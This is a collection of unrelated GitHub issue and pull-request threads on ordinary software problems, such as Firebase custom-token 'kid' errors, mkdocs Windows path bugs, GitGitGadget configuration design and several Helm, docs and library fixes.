Hi Damian, thanks for the question!
Those two are indirectly used by the other contracts. For verification you would use hardhat to compile and manage the contracts for you.
Someone else tried this and mentioned that it wasn't even necessary to deploy this contract since hardhat managed all the connections and link-up automatically.
Best,
Victa


Synchronize orderbook write

Need to synchronize all write methods for concurrent order books.

Coverage increased (+0.02%) to 99.02% when pulling fef53d088b30a4b3f7a1deec2c0a8eb34cba7cab on synchronize-orderbook-write into 9a31a5ddf1df7d6d3bff9ac9325a2297e13079df on develop.

Coverage increased (+0.1%) to 97.81% when pulling 3bfe326d5a505ec666891a28ebb8fb767112687b on synchronize-orderbook-write into 498e198e92f31717f7d843daa39bed97fca01c24 on develop.

Coverage increased (+0.07%) to 97.778% when pulling 3bfe326d5a505ec666891a28ebb8fb767112687b on synchronize-orderbook-write into 498e198e92f31717f7d843daa39bed97fca01c24 on develop.

Coverage increased (+0.07%) to 97.778% when pulling 91e92a3d848148feb015ba801411f0a0c57bf46c on synchronize-orderbook-write into 498e198e92f31717f7d843daa39bed97fca01c24 on develop.


Add support for configuration

Add functionality that allows users to customize how the action works. Some ideas for options:

[x] Specify the path of the SVGO configuration file (e.g. if it has a non-standard name) (#43)
[x] Configure commit title/message of the commit created by the action (#42)
[x] Automatically use semantic commit title (#96)
[x] Dry run (#41)
[x] Option for a comment with a summary of the optimization (#70)
[x] Specify glob for files that should be ignored (#162)
[ ] Specify glob for files that should be consider - ignoring all others (?)
[x] Configure the bot comment (#174)
[x] Remove notice about this issue in the README (63344194b9ada8c204fc5274f1652050d1900039)

Other suggestions for configuration options are welcome. You can suggest them as a comment here or open a separate issue 🙂

Closing this for now, with "Specify glob for files that should be consider - ignoring all others (?)" still open.
If there is anyone that would like to see that option being added, feel free to comment here or just open a new issue 🙂


Please add endpoint support for gitlab

Please add an endpoint for GitLab.
There is a gem to help with this, even if it is a bit wonky: gitlab client gem
I was able to get some bare minimum stuff working in a simple test script:
require 'ap'
require 'gitlab'

token = ENV['gitlab_token']
endpoint = 'https://gitlab.example.com/api/v3'

client = Gitlab::Client.new endpoint: endpoint, private_token: token

module Gitlab::Client::Repositories
  def file(project, options={})
    get("/projects/#{project}/repository/file", options)
  end
end

ap client
ap client.user.email

mygroup = client.groups.select{ |x| x.name == 'test-group' }.first
ap mygroup

mygroup = client.group(mygroup.id)

mygroup.projects.each do |prj|
  ap prj['id']
  ap prj['path_with_namespace']
  tags = client.tags(prj['id']).select { |x| x.name =~ /\Av[0-9][0-9.]+\Z/ }
  tags.each do |tag|
    ap client.file(prj['id'], file_path: 'metadata.rb', ref: tag)
  end
end

The API doesn't include the ability to look into a file, so that was mildly problematic.  I couldn't test the new code I monkey patched because our GitLab is (currently) too old, but I'll update it shortly.
Ciao!

+1


MDM enrollment fails on the mobile device when traffic is going through proxy

MDM enrollment fails on the mobile device when traffic is going through proxy: does this issue also applies to Windows 10 Desktop computers?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 19461768-ab73-b97c-f754-24e5c75e261f
Version Independent ID: 58c7b616-f5c7-c503-a689-4fadde8ee061
Content: What's new in MDM enrollment and management
Content Source: windows/client-management/mdm/new-in-windows-mdm-enrollment-management.md
Product: w10
GitHub Login: @MariciaAlforque
Microsoft Alias: maricia

@officedocsbot assign @e0i

Hello, @Martony78 , thank you for providing feedback.
Note that the feedback section below documentation is intended for product documentation issues only.
Thus, please consider opening a product support ticket by the following link below for your problem so that it gets resolved quickly.
Windows 10 Support

@officedocsbot close


5-fork script fails when run from setup.sh

source org is not defined and the user is given no opportunity to define it.
====================================================
About to fork github repositories with these parameters:
Source : https://github.com/
Target : https://github.com/emperorwilson-awm
Press ctrl-c to abort. Press any key to continue...
====================================================Cloning https://github.com//catalog-service
remote: Repository not found.
fatal: repository 'https://github.com//catalog-service/' not found
./5-forkApplicationRepositories.sh: line 47: cd: catalog-service: No such file or directory
Forking catalog-service to emperorwilson-awm

it also fails when run on its own.

was missing the variable for source repo.  fixed as part of
https://github.com/dt-kube-demo/setup-infra/commit/354a50d94224277fde7783e3b44983cc82ca46e1


Factoring Out all Project Specific Values

At this point, I have just plainly replaced all ggg specific parameters in my fork, which is undoubtedly not a great way for moving forward.
As I already know all the places that require parametrization, I would get this done and contribute that change. I'd just like to avoid doing it more than once, so it would be great when we could agree about a pattern for this up-front.
I don't have any preferences for this, other than it should probably be a single file at the end where you can do the adaption for using ggg in another project.
Maybe you can just make a suggestion?

Maybe you can just make a suggestion?

So far, we did a pretty good job of allowing things to be configured via the [gitgitgadget] section of the Git config...

Those few things yes - but I'm talking about the many things that are hardcoded now but need to be configurable.
Look at project-options.ts. I think there's a reason why you didn't make all this configurable via git config..?

there's a reason why you didn't make all this configurable via git config..?

Yes. The reason is that all of GitGitGadget used to be a shell script, with no configuration whatsoever. We made configurable what we needed to be configurable. And now we need more things to be configurable.

So you want to have it all in the Git config? OK we can do that.

I'm not sure the git config is the best place.  A json file may be better.  Future changes requiring git config changes would be a problem for random contributors.
This is project level configuration that users should not have to manage.  The current ggg related git config values tend to be user specific.

From my point of view: the more direct and connected to the code - the better.
Perfect would be something that that connects even at dev-time - i.e. some form of code file (basically in a way like this: https://github.com/gitgitgadget/gitgitgadget/issues/818#issuecomment-1006054970).
The advantage of this would be to have the ability to see how things are connected and which values are configured already during development, just by navigating through the source code (when the file would be included in your IDE).
One problem with this project is that the actual execution is happening somewhere "far away" which makes it impossible to debug and read runtime values.
When having an indirect mechanism like via a config file, and there's some issue to troubleshoot, you often want to verify that the right values are loaded from configuration. This is somewhat tedious because it forces you to add some code to dump/log those values to verify. Besides that, you need to be careful which values to dump, because the logs are publicly visible...
For those reasons, a configuration that is part of the code would be my preference.
Or better - let's not call it "configuration" at all. This is more about "code/project customizations", which might possibly even include an alternate implementation of a function (e.g. like in project-options.ts).
But I'm open to all other ideas as well.

I'm not sure the git config is the best place. A json file may be better.

The big advantage of the Git config is that you can easily configure it via the environment variable GIT_CONFIG_PARAMETERS. That's definitely a nice way to configure it in GitHub workflows/Azure Pipelines.
But yes, the canonical way to customize a project like GitGitGadget would be via a JSON file.

Perfect would be something that connects even at dev-time - i.e. some form of code file (basically in a way like this: #818 (comment)).

That would work, but would require all projects using GitGitGadget to fork and maintain their fork.

That would work, but would require all projects using GitGitGadget to fork and maintain their fork.

Even after having parametrized all the things where "we" need customization, I strongly doubt that this will get any time soon to a point where it can be used as an "out-of-the-box" solution.
I doubt that it will make sense for any adopter to use this without maintaining an own fork.
Just thinking about all the things that I've gone through to get it all set up and working and adapt to the requirements and the way things are set up.
Just consider a case where you make a change that an adopter doesn't want. I don't think anybody would want to take the risk of auto-updating from your repo on one side - and on the other side, being unable to customize something that isn't customizable.
Or think about auto-updating: the way I've set this up allows me to update the whole system just by pushing an update to the main branch. For having that ability alone, I would always want to set up and maintain my own fork.
But the primary point is: for setting this up, you need to deep-dive into many things - including the code.
We can make this a lot more friendly for adoption through others by:

improving documentation (most  importantly pipelines setup, but also many other parts)
factoring out all the hard-coded ggg-specific stuff from the source code to ease the adoption procedure by a magnitude

but in the end this won't suffice that it could be taken "as-is". I don't see it as a "shelf-product" where you just need to do some configuration to get going, but more like a toolkit that requires a certain amount of work to adopt (but eventually a lot less than what I have gone through).

I strongly doubt that this will get any time soon to a point where it can be used as an "out-of-the-box" solution.

Me, too. Nevertheless, it would be nice if we did not throw the door shut on such an end game.

Decided to play with this a bit using @softworkz changes.  It is just a POC at https://github.com/webstech/gitgitgadget/tree/generify.
There is a commit with updates to the shell scripts to support environment variables to control more settings.  Of course the scripts have some very GGG checks.  Not sure how much (if any) use they get anymore.  Untested and maybe more than a few errors at this point.
The second commit is an initial POC to use a config file to make GGG generic.  This is an alternative to trying to package GGG.  The alternative config (and workflows?) would be in the target project (eg git/git) or a separate project (more likely).  Any workflow would clone the separate project and GGG.  The changes somewhat cover misc-helper.ts and ci-helper.ts based on the blanket changes. So far, unit tests are still working.
There are some very git specific checks in the code so a mechanism would be needed to abstract them out.
Is this a direction worth pursuing?

a POC at https://github.com/webstech/gitgitgadget/tree/generify.

That looks like a good first draft.
Before we pursue this further, I think we should probably lift the line length restriction of GitGitGadget's own source code (or at least extend it to 120 columns/line).

Is this a direction worth pursuing?

Oh, forgot to answer this question. I am not quite sure. An idea I had recently was that we could have a class holding that configuration, but initializing it based on hard-coded values depending on the repository we're targeting.

@webstech - Excellent! I like it at lot. It's pretty much the same that I had in mind 😄
@dscho - +1 for lifting the column limit (or increasing). The problem is that with all the structural indentation, there's often not much usable space left.

An idea I had recently was that we could have a class holding that configuration, but initializing it based on hard-coded values depending on the repository we're targeting.

Isn't that possible in the same way with @webstech's proposal? An "installation" of GGG can already target multiple repositories (when they are related/forked).
On the other side, multiple unrelated repositories cannot reasonably be served by a single "installation" of GGG anyway, because it would also require different pipelines and repo paths. What I mean is: the biggest effort is required for setting up the pipelines. Having a one-serves-many "installation" of GGG would not make the setup process much easier (maybe even more complicated, though).


Cannot set label colors to a different color than the edge and label colors change on zoom

Sigma.js version : 2.4.0
Graphology version : 0.25.4
Operating system: Mac OS
Web browser: FF 133.0.3
See example code - it's a self-contained example

Labels should be rendered in black and not change colors

Labels are initially rendered as the same color as their edge, when resizing the labels all change to the same color, which is the color of the last edge added in the code (see small example below).

Steps to reproduce: Click here and resize with the mouse/zoom feature and watch the label color get messed up. It also sets the labelColor and the global label color but neither of those work. Note that if you switch the order that the edges are added the final label color follows that.
https://codesandbox.io/p/sandbox/sigma-template-forked-znjq75

Looking at the source, if I change my settings to this I get all black labels, so that is OK:
const settings = {
        renderEdgeLabels: true,
        renderer: {
            container: document.getElementById('sigma-container'),
            type: 'canvas'
        },
        edgeLabelColor: { color: '#000'}
    };

However, the point still stands that I can't set individual edge label colors - they are all the same color as the last one added...


Missing claim 'kid' in auth header.

On Firebase 3.0 I get an error "Missing claim 'kid' in auth header."
Apparently now Firebase requires private key's id supplied with claims.

Hi, I'll check this tomorrow. In the mean time, could you please let me know if this is only for some latest setting, not that this breaks every thing?

Since I no longer use firebase, could you please let me know if this is the only thing we need to change?
That is, the way to generate auth?
https://firebase.google.com/docs/auth/server#use_a_jwt_library

I am using PHP-JWT to generate the token. Where does this kid go? Can anybody kindly help?
    "iss" => $service_email,
    "sub" => $service_email,
    "aud" => "https://identitytoolkit.googleapis.com/google.identity.identitytoolkit.v1.IdentityToolkit",
    "iat" => $now,
    "exp" => $now + (60 * 60),
    "uid" => $fbid,
    "claims" => array(
        'kid' => 'Key ID',
        'provider' => 'drupal',
    ),

Is it supposed to be inside claims or is it supposed to be at the same level as uid?

For future reference.
I got Firebase 3.0 working like this:
You get this service account manifest JSON through Google's IAM console.
{
  "type": "service_account",
  "project_id": "..redacted..",
  "private_key_id": "..redacted..",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...redacted...\n-----END PRIVATE KEY-----\n",
  "client_email"<EMAIL_ADDRESS>  "client_id": "12340000000000000000",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://accounts.google.com/o/oauth2/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/..."
}

def generate_web_token(uid, claims)
  # Parses Google's `service_account` JSON file into an array
  service_data = get_service_data()

  private_key = OpenSSL::PKey::RSA.new(service_data['private_key'])

  service_account_email = service_data['client_email']
  now_seconds = Time.now.to_i

  payload = {
    iss: service_account_email,
    sub: service_account_email,
    aud: 'https://identitytoolkit.googleapis.com/google.identity.identitytoolkit.v1.IdentityToolkit',
    iat: now_seconds,
    exp: now_seconds + (60 * 60),
    uid: uid,
    claims: claims,
    kid: data['private_key_id']
  }

  private_key = OpenSSL::PKey::RSA.new(service_data['private_key'])

  # Generate JWT
  JWT.encode(payload, private_key, 'RS256')
end

My other findings:

For what I tested, as for now Firebase ignores the exp parameter and sets/forces it to 1 hour, regardless what you put there, I tried to get it to 30 min but when you read the token back after authenticating, it's 3600 seconds.

To get the real reason why token did not work, monitor for POST XHR to endpoint 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyCustomToken?key=...' in your browser's dev tools. If the token was OK, it returns when it expires (3600 seconds) and a refreshToken (couldn't find what this is for).

Make sure your frontend api key matches the domain you have whitelisted on Firebase's panel. (CREDENTIAL_MISMATCH error returned by that verifyCustomToken post call if domain doesn't match to what you initialize in initializeApp)

Hope this helps.

@godfat thanks for the fix! I'll try to find time to test it tomorrow, it looks like it'll work.
Also reference for everybody: 2.4.X version of Firebase will be supported for some time according to devs.

I am passing it as you described - It should work. However, it does not work :( It still gives me a 400 Bad Request saying Invalid claim 'kid' in auth header. And there is no documentation on kid in the Firebase Docs. Now I'm starting to get worried.  Thanks for the answer, buddy.

@jrasanen I didn't figure out how to solve that kid issue for that commit and I can't find any document for that either :( Fortunately you found it! I'll try your approach in the next few days. Thanks!
Bottom line: As long as you could pass auth for rest-firebase, I guess it would still work for 3.0.
@jrm1987 Oh, sorry about that :( They said they would improve the doc.

It didn't work for me either. However, I tried to put a kid into JWT header, then Firebase would give me:
{"error"=>"Invalid claim 'kid' in auth header."}

I tried to give private_key_id, project_id, client_id, but none of them worked.  Please stop kidding me.

Some possible answers here and the required attributes (including the kid attribute) are described here

@katowulf Thanks! I still don't get it though. Still getting {"error"=>"Invalid claim 'kid' in auth header."}
Questions:

Should I fill sub with uid? But actually I have no idea what's uid. Who is the user? I don't think I have any users in my testing project. How do I get any user id?
Should I also pass uid even with sub? We pass the same values for both of them?
It's not clear what's kid. Was that the private key (that pem) for this project?
Do we still pass claims?

Firebase support team wrote me today that they are looking into the error
and will inform when they have a solution.
El 15 jun. 2016 2:21 a. m., "Lin Jen-Shin (godfat)" <
<EMAIL_ADDRESS>escribió:

@katowulf https://github.com/katowulf Thanks! I still don't get it
though. Still getting {"error"=>"Invalid claim 'kid' in auth header."}
Questions:

Should I fill sub with uid? But actually I have no idea what's uid.
Who is the user? I don't think I have any users in my testing project. How
do I get any user id?
Should I also pass uid even with sub? We pass the same values for
both of them?
It's not clear what's kid. Was that the private key (that pem) for
this project?
Do we still pass claims?

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/CodementorIO/rest-firebase/issues/12#issuecomment-226108134,
or mute the thread
https://github.com/notifications/unsubscribe/AEFmUcEb6Rm4fzP66Afw1zomMhhbEU_rks5qL6fvgaJpZM4Ioawp
.

Meh, the code which I was using as a workaround stopped working and Google/Firebase started returning:
{
 "error": {
  "errors": [
   {
    "domain": "global",
    "reason": "invalid",
    "message": "INVALID_CUSTOM_TOKEN"
   }
  ],
  "code": 400,
  "message": "INVALID_CUSTOM_TOKEN"
 }
}

Thanks for the update!!
I guess our best bet for now is just waiting, unless it's urgent to adopt...

Waiting is good, too bad though. Firebase seriously needs a debug console, so devs can see what is happening on their side.

Though, I just noticed poking Firebase that the tokens they return have "kid" attribute in JWT's header, not in payload/data:

Hi any update on the issue @breft did you got a response from firebase guys

Original post: http://stackoverflow.com/questions/39117237/firebase-rest-with-auth-query-param-not-working
From: FirebaseSupport team

Yes, creating custom tokens using FirebaseAuth.getInstance().createCustomToken(uid, additionalClaims) does not work with REST API. These tokens are designed to be used by client SDKs with signInWithCustomToken(token). Please note that "client to DB" REST requests are not supported right now due to changes in security model in the new Firebase (legacy Firebase supports it).
As you have pointed out, you need to follow this link in order to make an authenticated REST request. You should to use the access_token parameter, passing the token derived from the service account private key. This assumes you're scenario is "Server to DB" as you're using a service account.
To add custom claims using REST, you should use the auth_variable_override parameter. See here. Your request should now look like this with the added claim: {"uid":"6LiF16Dm0hNB9XO61UR1KM5Jeun2"}
$ curl "https://test-de98f.firebaseio.com/test.json?access_token=&auth_variable_override=%7B%22uid%22%3A%226LiF16Dm0hNB9XO61UR1KM5Jeun2%22%7D"
{" 1213314":{"alanisawesome":"Alan Turing"}}
I do understand that the documentation you have pointed out needs to be improved and have raised this to our documentation team so that it could be prioritized appropriately. Though, I can't share any timelines as of the moment.
Hope this helps. Feel free to respond for any more issues or concerns.

During the "verifyPassword" API use this parameter "returnSecureToken":true along with email and password. This worked for me.

i am fetching the products for a specific user in this way:
Future<bool> fetchProducts() async {
    _isLoading = true;
    notifyListeners();
    try{
    final http.Response response = await http
        .get('https://flutter-products-d07d8.firebaseio.com/products.json?auth=${_authenticatedUser.token}');
        print(response.body);
      final List<Product> fetchProductList = [];
      final Map<String, dynamic> productListData = json.decode(response.body);
      if (productListData == null) {
        _isLoading = false;
        notifyListeners();
        return false;
      }
      productListData.forEach((String productId, dynamic productData) {
        final Product product = Product(
          id: productId,
          title: productData['title'],
          description: productData['description'],
          image: productData['image'],
          price: productData['price'],
          userEmail: productData['userEmail'],
          userId: productData['userId'],
        );
        fetchProductList.add(product);
      });
      _products = fetchProductList;
      _isLoading = false;
      notifyListeners();
      _selProductId = null;
      return true;
    }catch (error) {
      _isLoading = false;
      notifyListeners();
      return false;
    }
  }

but i am getting this response:
I/flutter (16571):   "error" : "Invalid claim 'kid' in auth header: 'skIBNg' with iat: '1569414381'"
can any one help me please

Any update on this issue

Unfortunately, nothing from me

Same with https://github.com/kreait/firebase-php/issues/169#issuecomment-366950404
There are 3 token type.
But firebase only verify token from client app.

I solved my this same type of error adding returnSecureToken: true in body object while logging with email and password and it works fine


Automatic code reference pages recipe breaks on Windows

Describe the bug
The recipe: https://mkdocstrings.github.io/recipes/#bind-pages-to-sections-themselves
Works on *Nix systems, but seems to break on Windows.
To Reproduce

Checkout: https://github.com/johnthagen/python-blueprint (pre https://github.com/johnthagen/python-blueprint/commit/f8a396d878be9e971ef4bad1fc963db8654a5775)
Install tox
Run tox -e docs

INFO     -  Cleaning site directory
INFO     -  Building documentation to directory: python-blueprint\site
INFO     -  The following pages exist in the docs directory, but are not included in the "nav" configuration:
              - reference\fact\__init__.md
WARNING  -  A relative path to 'reference/fact☻95♥_init__.md' is included in the 'nav' configuration, which is not
            found in the documentation files
WARNING  -  Documentation file 'reference\SUMMARY.md' contains a link to 'reference\fact☻95♥_init__.md' which is not
            found in the documentation files.

Expected behavior
MkDocs project builds as expected, even on Windows.
Information (please complete the following information):

OS: Windows 10
mkdocstrings version: 0.18.0

mkdocs                     1.2.3
mkdocs-autorefs            0.3.1
mkdocs-gen-files           0.3.4
mkdocs-htmlproofer-plugin  0.8.0
mkdocs-literate-nav        0.4.1
mkdocs-material            8.2.1
mkdocs-material-extensions 1.0.3
mkdocstrings               0.18.0
mkdocstrings-python        0.6.3
mkdocstrings-python-legacy 0.2.2

Reported upstream:

https://github.com/mkdocstrings/mkdocstrings/issues/418

I suspect this is due to Windows-specific path separators being injected into the generated .md file:
* [fact](fact\__init__.md)
    * [cli](fact\cli.md)
    * [lib](fact\lib.md)

This is likely due to stdlib Path transparently changing based on the host OS.
Will probably need to use PurePosixPath somewhere when the paths are written into the Markdown file.

I'm pretty sure we're using Path at work, on Windows machines, and it works. Could it be related to this: https://github.com/oprypin/mkdocs-gen-files/issues/3? What version of mkdocs-gen-files do you have?

Actually it seems to be an encoding problem: ☻95♥ appears instead of \. @oprypin, sorry to bother, any idea?

I don't know at the moment what these special symbols are about, but https://github.com/mkdocstrings/mkdocstrings/pull/419 is definitely heading in the right direction. It is invalid to put backslashes into nav.

I see, thanks @oprypin! I thought it would be supported.

Thanks for the fix @johnthagen!


Add accepted_values and custom schema tests to docs site

Feature
Feature description
In the documentation website, the columns box shows three different types of built-in schema tests: P, U, N (primary key, unique, not_null). But not for the fourth built-in schema test, accepted_values. It also doesn't show any custom schema tests.
Who will this benefit?
Anyone who uses accepted_values and was expecting to see it in their docs site! For custom schema tests, a single letter would need to be defined...or just stuff the name of it into the Tests column. 🙂
Link to code: https://github.com/fishtown-analytics/dbt-docs/blob/master/src/app/docs/model.html#L126-L134

This is prioritized for our Wilt Chamberlain release.
If you want to feel sad, have a look at the code responsible for rendering column tests in the docs site. The docs site needs to parse test attributes out of generated test names because dbt is not currently encoding this information in the manifest in a structured way.
In order to delete all of this code, as well as support accepted_values tests, we should add a structured dict to test nodes with the following information:

the name of the test macro
the arguments supplied to the test macro (represented as a dictionary)

The docs site is going to need to semantically know what unique, not_null, etc mean, but I think that's acceptable for now.
In the future, I'd like to make schema tests capable of generating their own descriptions. This would help us render custom schema test information in the docs site. Out of scope for this particular issue, but worth keeping in mind.

Kicking this out of Wilt Chamberlain and into Louisa May Alcott

fyi the corresponding fix for this in the autogenerated docs site was merged and will be live in 0.15.0
Thanks for the initial request - hope you're doing well @foundinblank :)


Quick fix for issue #28

Have not tested the code, but hopefully (fingers crossed may or may not be needed) will work just fine. Fixes an issue of which opening and closing KShare repeatedly on Windows clients will create separate processes.

Unofficial 100% success on the checks, only reason why AppVeyor is saying no is that it's throwing a hissy fit about building a Windows program in Qt and not VS

Make it com.arsenarsen.kshare and it's a merge

Fixed. I also almost forgot the includes for QLockFile, that would've been a bummer.
https://github.com/GlitchMasta47/KShare/commit/fd7a670a7ac0d6ef692fcd5634602de9cfb0ca7f

https://github.com/GlitchMasta47/KShare/commit/cdd65002ac0b2986e30c241a12929e8784fca55b

LGTM

Just noticed the base was master and not dev. That made some conflicts. Can you rebase onto dev?

#49


dev: Reinstall setuptools in Conda env

Addresses errors such as the one in PR #305.
If the PyPI version of setuptools is newer than the one in Conda and
backwards incompatible, the build process can break.
When used with the -I flag, pip install will overwrite the Conda
pkgs cache, which is used for creating new environments.

This will only pass the tests together with the changes in PR #305. Closing and moving the change there.


Improve --underscore-namespaces implementation

Improves implementaion of --underscore-namespaces when applied on classes that already have namespace.
Current implementation is changing all classnames that contains underscores, even if they already use namespace. That behaviour causes Fatal errors, e.g.:
PHP Fatal error:  Uncaught InvalidArgumentException: Class name "1" is not valid
Reproducible e.g. on doctrine2 tests directory (just an example with publicly downloadable project).
This pull request allows to use dephpend on older projects that combine classes with and without namespaces or projects without namespaces which contains libraries with namespaces in the scr directory.

Coverage remained the same at 100.0% when pulling bb4b2bf6001433041b56c2852088d911ecf4c328 on tomor:develop into 5c72317973d8203f9670c241b5860147023fafbe on mihaeu:develop.

Thanks for this @tomor ! I'll merge this in today or tomorrow. Just need to tag another release first.

Added an isNamespaced method to the Dependency interface. You can use that to get rid of the comment and the strpos if you like :smile: should read clearer.

Coverage remained the same at 100.0% when pulling a3ca86328f4b8908f79206983c659f78b471e83b on tomor:develop into 2bee19294705e87121e3462eb91cdfd8f6505280 on mihaeu:develop.

I've updated the implementation, replaced strpos with isNamespaced.
The tests discovered one impact:
_A\\b --> _B\\c no longer equals  _A_b --> _B_c  after it's changed to namespaced name
... see that I had to delete this line from the tests.
This change of behaviour was introduced already in the previous commit of this pull request, it just was not discovered by the tests.
I think that it's ok, simply because _A is valid namespace and I gues this test was not intended to ensure that all _ are removed from all classes. I guess it was just a way how to test that transforming classes to namespaced names works, right?
Or not? Do you really intend to remove all _ from every name? :)


If I want an infinite loop ， What should I do？

Take a look at this issue please: https://github.com/rubensousa/ViewPagerCards/issues/6


Android TV 11 gets stuck in HDR/DoVi mode if home/back buttons pressed on remote. Must press "stop" to return to SDR

Hello,
I've been testing this app on my high end Philips Android TV and I must say it's awesome so far.
One issue that took me a while to understand is that if I press "home" or "back" buttons on the remote while watching an HDR video, the TV remains in HDR mode which causes colors to be off on the home screen and other apps.
The only way to ensure that TV returns to SDR mode is to press STOP on the remote before pressing home/back to leave the app.
I would appreciate if the app implements a mechanism to return to SDR if home/back detected. Alternatively, though not ideal, force stop session if either button detected. TVs aren't multitasking devices anyway so home/stop usually imply user stopping video playback.
Thanks for reading

FWIW, enabled tunneled playback and that fixed it. Probably still needs fixing. Or maybe tunnel by default.

Or maybe tunnel by default.

Unfortunately that causes different bunch of problems: https://github.com/google/ExoPlayer/issues/9661, https://github.com/google/ExoPlayer/issues/9133

Tunneled mode working perfectly so far with all videos I've tried on my TV. Seamless refresh rate switching too!


Default mapping not working on macOS Monterey

Went ahead and set up yabai + skhd on my mac OS Monterey.
Window management seems to be working fine therefore the hotkey are not working.
For instance hitting the shift + alt + l or any jklh touch will trigger the ÒÒÔ special chars. Am I missing something ?
Switching the config for for ctrl + jhkl would run default command from the app i am using.
Any guidance is appreciated

You gotta set left option key to meta instead of normal in iterm settings


Pumba is now able to remove container

It seems like --links should be disabled by default. Here's why:
https://github.com/docker/docker/blob/master/daemon/delete.go
If a parent path of a container is '/', which is, I suppose, the case when you're trying to remove a container that is started outside a docker compose, it's not able to delete it with links.
I've fixed a typo (volumes and links mismatch) and added 1 tests to prove it now works.

Current coverage is 82.38% (diff: 100%)

Merging #34 into develop will increase coverage by 4.00%

@@            develop        #34   diff @@
==========================================
  Files             8          5     -3
  Lines          1189        880   -309
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits            932        725   -207
+ Misses          192        122    -70
+ Partials         65         33    -32

Powered by Codecov. Last update 430b328...2787fca

Rebased


Content Changes for RMD-ScholarSphere integration

The integration page where you upload a PDF to ScholarSphere likely needs better text

Typo: “If an open access version of your work has been pulished”

Any suggestions on the labels for the form

Description field can we say: "Include the work abstract if available. Otherwise, provide a brief summary."
Link to help text for license selection "For help determining License and Embargo, see this FAQ" https://psu.libanswers.com/faq/279046
Move the license field below DOI so that it's adjacent to Embargo
Date of Publication should allow for selection of a future year (2 calendar years beyond current)
Change "Publisher" to "Journal Name" and prepopulate with Journal, this will map to Publisher field in SS, but it's something we need to fix on SS side

Email from ScholarSphere when upload

Successful You recently submitted an open access version of your publication, Ana's Test Article, for deposit in ScholarSphere in order to comply with Penn State Policy AC02: Open Access to Scholarly Articles. This message is to let you know that the deposit of your publication was successful, and you can now view the open access version of your publication here: [LINK]
Unsuccessful You recently submitted an open access version of your publication, Ana's Test Article, for deposit in ScholarSphere in order to comply with Penn State Policy AC02: Open Access to Scholarly Articles. There was an issue uploading the publication. Staff are working on this and we will follow up with you.

@DanCoughlin All of these changes have been deployed to https://stage.metadata.libraries.psu.edu. Please let me know if you have any further feedback or additional changes.
When we add the field for "publisher statement" to the form, I imagine that we might need a little bit of instruction to accompany that as well.


Should libraries be structured "CraftOS style" or "Lua style"

Should libraries create globals and be run in special environments to load them, like CraftOS? Or should we do it like Lua does it, where libraries return tables?
Personally I'm leaning towards Lua style, and maybe provide a fallback on CraftOS style if nothing is returned.

I'm all for Lua style.

Alright, I'll do that then.


Move reldepth calculations to its own module

Sumary

Removed GOTerm data member, reldepth.
Added function, get_go2reldepth.
Doing this effectively moves the reldepth calculation from inside the GOTerm class to its own module

Description
The GOTerm data member, reldepth, which is the depth of a GOTerm if optional relationships are loaded as well as the required is_a edges. It only appears on a GOTerm if optional relationships are loaded.
The issue with GOTerm having a reldepth data member is that its value was calculated using all of the optional relationships, if optional relationships are requested, even if the researcher is only working with the part_of relationship.
The GODag is designed to parse the go-basic.obo and either read or not read optional relationships.
The partner class, GoSubDag is designed to use specific relationships (None, All, or Some) specified by the researcher and takes the GODag as an input argument.
Usage
To get reldepth value now, do this:
from goatools.godag.reldepth import get_go2reldepth
relationships = {'part_of',}
goterms = godag.values()
go2reldepth = get_go2reldepth(goterms, relationships)

Benefits
This change makes the reldepth calculation independent of other tasks, like parsing the go-basic.obo or using a subset of the GODag through GoSubDag or calculating semantic similarity values between two GO terms using Wang's semantic similarity. It also allows the researcher to have depth calculated using a subset of optional relationships.

Yeah, @dvklopfenstein this sounds like a useful addition.

The reldepth calculation functions have been moved to its own module, goatools.godag.reldepth, and all tests pass.


Allow Specifying a different version for base and maps on android

Does any other open PR do the same thing?

No
What issue is this PR fixing?
#2584
How did you test this PR?

This allows android to specify a custom version for
com.google.android.gms : play-services-maps
and
com.google.android.gms : play-services-base
by specifying
	googlePlayServicesVersion = "16.0.1"
    googlePlayServicesAuthVersion = "16.0.1"// this is how react-native-google-signin does
    googlePlayServicesMapsVersion = "16.0.0"

for example I had to use 16.0.1 for base but maps does not exist for that version
https://mvnrepository.com/artifact/com.google.android.gms/play-services-maps
It should automatically fallback to googlePlayServicesVersion value if googlePlayServicesMapsVersion is not specified

@Titozzz could you check with @yeomann maybe use getSafeExt like in https://github.com/react-community/react-native-maps/pull/2398/files ?
Thnx

Well I could import his or inside of monebif you want to, or wait for his to be merged

@Titozzz let's wait for @yeomann to reply, and if not maybe you can import the PR in yours and push again. 🤗

Sure thing 😄

hey guys, sorry for delay. sure thing mate @Titozzz go ahead 😃

Will do :)

@rborn Done ✅


More complete docs for Karma Framework API

This is my attempt to provide more accurate and complete docs for the Karma Framework API.
As noted in #2721, these docs don't match the reality of how the APIs work.
I've tried to improve my understanding by reading source code and looking
at the karma-jasmine adapter
2 main changes:

Note that the file methods are available on window.__karma__, rather
than on the object passed to the start() function.
Try to add type information for what each method expects to receive (this
is improved, but still incomplete)

I signed it!

I'm not sure I understand the Travis error about the commit message not being valid.
I checked the CONTRIBUTING.md file for instructions about naming PRs / commits but did not see any instructions regarding this.

http://karma-runner.github.io/1.0/dev/git-commit-msg.html

Closing old/stale PRs


Move InstructionDeleter into its own header and fix iterator invalidation.

Add file-level comments on the utility's purpose and intended API usage.
Cleanup API comments.
Use a move in the constructor to prevent reusing the previous callbacks.

In preparation for cleaning up APIs in InstOptUtils to unblock several bug fixes.

@swift-ci smoke test and merge


charts/kminion - allow setting priorityClassName for kminion pod

Hey,
I've been using cloudworkz/kafka-minion-helm-chart and I was able to set priorityClassName on pods, which is not the case in this Chart.
Tell me if you expect anything else in the PR :pray:

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Hey @Vince-Chenal ,
the charts have been moved to https://github.com/redpanda-data/helm-charts/tree/main/charts/kminion . Please have a look there, I'll plan to update this chart with a note so that its clearer. Thanks!


